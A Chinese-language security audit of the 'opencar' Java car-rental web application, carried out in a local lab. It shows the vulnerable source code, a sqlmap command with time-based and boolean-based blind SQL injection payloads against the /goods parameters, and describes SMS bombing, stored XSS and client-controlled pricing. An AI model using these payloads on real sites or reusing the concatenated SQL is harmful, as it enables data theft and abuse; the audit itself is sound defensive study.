opencar代码审计

3

环境搭建

  1. 下载源码,根据使用说明安装
  2. 修改WebRoot/WEB-INF/classes/db.properties的数据库连接账号密码
  3. 数据库新建一个opencar,并且在数据库开头添加use opencar;
  4. idea将WebRoot/WEB-INF/libtomcat/lib添加到library
  5. idea的tomcat配置可自行搜索

代码审计

注册账号

提交一个请求

image-1699757517326

根据url和注解
@WebServlet(displayName="前端基本信息",name="FrontAction",urlPatterns="/front")快速定位到相关代码src/com/weishang/my/action/FrontAction.java

获取验证码

/front?tag=getTelCode

    String tel=request.getParameter("tel");
    String json="";
    
    SendMessageInfo smi=new SendMessageInfo();
    String code=smi.sendMessageInfo(tel,1,StringUtil.getRandomString(4));//直接开始发送验证码

获取参数后就执行发送短信操作,所以存在短信轰炸漏洞

注册用户

/front?tag=userRegiste

307行userOr = ss.getUserOrByTel(tel);涉及到sql查询

String sql = "select u.user_id from user u where user_tel=?";
rs = this.jdbc.executeQuery(sql, args);

但是存在预编译,只好看看别的地方

搜索车辆

WebRoot/WEB-INF/lib/weishang-1.4.jar!/com/weishang/service/UserService.class搜索空格+空格寻找sql存在拼接的地方,发现好几处存在拼接,但是参数都不可控,还有几处是数字型的

同理,在

WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class

搜索likein等无法预编译的语句,之后搜索调用此函数的地方

image-1699757531768

@WebServlet(displayName="跳转到信访页面",name="GoodsList",urlPatterns="/goods")在商品页面寻找注入点

//调用处		
ss.getGoodsListByExtendCat(pageNo, pageSize-goodsList.size(),tem_cat_id,tem_type_id,tem_brand_id,price);

//函数原型
public List<GoodsPojo> getGoodsListByExtendCat(Integer pageNo, Integer pageSize, String cat_ids, String type_ids, String brand_ids, String price) throws SQLException {
    if (pageNo < 1) {
        pageNo = 1;
    }

    int offset = (pageNo - 1) * pageSize;
    String sql = "select gd.*,gc.*,gt.* from goods gd,goods_cat gcat,goods_category gc,goods_type gt where gd.is_shelves=1 ";
    if (cat_ids != null && !cat_ids.equals("")) {
        sql = sql + " and gcat.cat_id in (" + cat_ids + ") and gcat.cat_id=gc.goods_category_id and gcat.goods_id=gd.goods_id";
    }

    if (type_ids != null && !type_ids.equals("")) {
        sql = sql + " and gd.goods_type in (" + type_ids + ") ";
    }

    if (brand_ids != null && !brand_ids.equals("")) {
        sql = sql + " and gd.brand_id in (" + brand_ids + ") ";
    }

    if (price != null && !price.equals("x")) {
        String[] price_arr = price.split("-");
        if (!price_arr[1].equals("x")) {
            sql = sql + " and gd.shop_price>=" + price_arr[0] + " and gd.shop_price<=" + price_arr[1] + " ";
        } else {
            sql = sql + " and gd.shop_price>=" + price_arr[0] + " ";
        }
    }

uri为/goods?brand_id=12&type_id=6&cat_id=17&menuId=7&price=0-300,参数都可控

image-1699757542949

直接

sqlmap -u "http://192.168.0.104:8080/WebRoot/goods?brand_id=12&type_id=6&cat_id=17&menuId=7&price=0-300" -p type_id
---
Parameter: cat_id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: brand_id=12&type_id=6&cat_id=17) AND (SELECT 5002 FROM (SELECT(SLEEP(5)))CDMc)and (1=1&menuId=7&price=0-300
---
---
Parameter: brand_id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: brand_id=(SELECT (CASE WHEN (4466=4466) THEN 12 ELSE (SELECT 3872 UNION SELECT 3787) END))&type_id=6&cat_id=17&menuId=7&price=0-300

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: brand_id=12 AND (SELECT 6377 FROM (SELECT(SLEEP(5)))TuUO)&type_id=6&cat_id=17&menuId=7&price=0-300
---
---
Parameter: type_id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: brand_id=12&type_id=(SELECT (CASE WHEN (3316=3316) THEN 6 ELSE (SELECT 7165 UNION SELECT 9752) END))&cat_id=17&menuId=7&price=0-300

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: brand_id=12&type_id=6 AND (SELECT 1118 FROM (SELECT(SLEEP(5)))gZeZ)&cat_id=17&menuId=7&price=0-300
---

个人信息处

个人信息中各种修改信息的功能点都是直接获取参数和展示数据,没有经过过滤和编码,所以存在存储型xss

src/com/weishang/my/action/user/PcUserAddAddress.java

//直接获取参数
String name =request.getParameter("name");
String address=request.getParameter("address");
String tel=request.getParameter("tel");

//传入相关函数
flag=ss.addAddress(user.getId(), name, tel, address);
WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class
//直接写入数据库 
public Integer addAddress(Integer userId, String name, String tel, String address) {
    Object[] args = new Object[]{name, tel, address, userId};
    String sql = "insert into user_address (user_address_name,user_address_tel,user_address_content,user_address_user) values(?,?,?,?)";
    Serializable flag = this.jdbc.insertBackId(sql, args);
    this.jdbc.close();
    return flag.hashCode();
  }

image-1699757554404

addressList = ss.getAddressByUser(user.getId());

public List<Address> getAddressByUser(Integer userId) throws SQLException {
    String sql = "select a.* from user_address a where a.user_address_user=?";
    ResultSet rs = this.jdbc.executeQuery(sql, userId);
    Address address = null;
    ArrayList addressList = new ArrayList();

    while(rs.next()) {
      address = new Address();
      address.setId(rs.getInt("user_address_id"));
      address.setName(rs.getString("user_address_name"));
      address.setAddress(rs.getString("user_address_content"));
      address.setTel(rs.getString("user_address_tel"));
      addressList.add(address);
    }

    return addressList;
 }

image-1699757565045

预约汽车

预约汽车时价格可控,直接插入数据库

image-1699757593223

public void addGoodsOrder(HttpServletRequest request, HttpServletResponse response)throws ServletException,IOException{
    response.setContentType("text/html;charset=UTF-8");
    HttpSession session = request.getSession(true);
    Object ordinary_user=session.getAttribute("ordinary_user");
    String tem_store_id=request.getParameter("store_id");//门店id
    String price=request.getParameter("price");
    String tem_address_id=request.getParameter("address_id");
    String tem_goods_id[]=request.getParameterValues("goods_id");
    String content=request.getParameter("content");
    String serviceDate=request.getParameter("serviceDate");
    Integer store_id=null;
    Integer address_id=null;
    Integer goods_id=null;
    Integer order_id=0;
    if(tem_store_id!=null && !tem_store_id.equals("")){
        store_id=Integer.parseInt(tem_store_id);
    }
    if(tem_address_id!=null && !tem_address_id.equals("")){
        address_id=Integer.parseInt(tem_address_id);
    }
    if(tem_goods_id.length>0){
        goods_id=Integer.parseInt(tem_goods_id[0]);
    }
    PrintWriter out = response.getWriter();
    String json="";
    if(ordinary_user==null){
        json="{\"tip\":\"请登录之后再操作\",\"status\":500}";
    }else{
        User user=(User)ordinary_user;
        //order_id=ss.addGoodsOrder(2, 1, 1, 1,serviceDate, null, content, user.getId(),null, store_id, null, price, 1, 1, address_id, 2,"3", user.getId().toString(), null, goods_id, 1,"");
        if(order_id>0){
            if(tem_goods_id.length>0){
                for(int i=0;i<tem_goods_id.length;i++){
                    ss.addGoodsAndOrder(Integer.parseInt(tem_goods_id[i]),order_id);
                }
            }
            json="{\"tip\":\"操作成功\",\"status\":200}";
        }else{
            json="{\"tip\":\"服务器内部错误\",\"status\":500}";
        }
    }
    out.print(json);
}

这里的操作很多都会和会话绑定,所以越权的可能性小

HttpSession session = request.getSession(true);
Object ordinary_user=session.getAttribute("ordinary_user");

总结

https://novysodope.github.io/2020/12/24/46/

Reference

[代码审计]某租车系统JAVA代码审计[前台sql注入]
某租车系统JAVA代码审计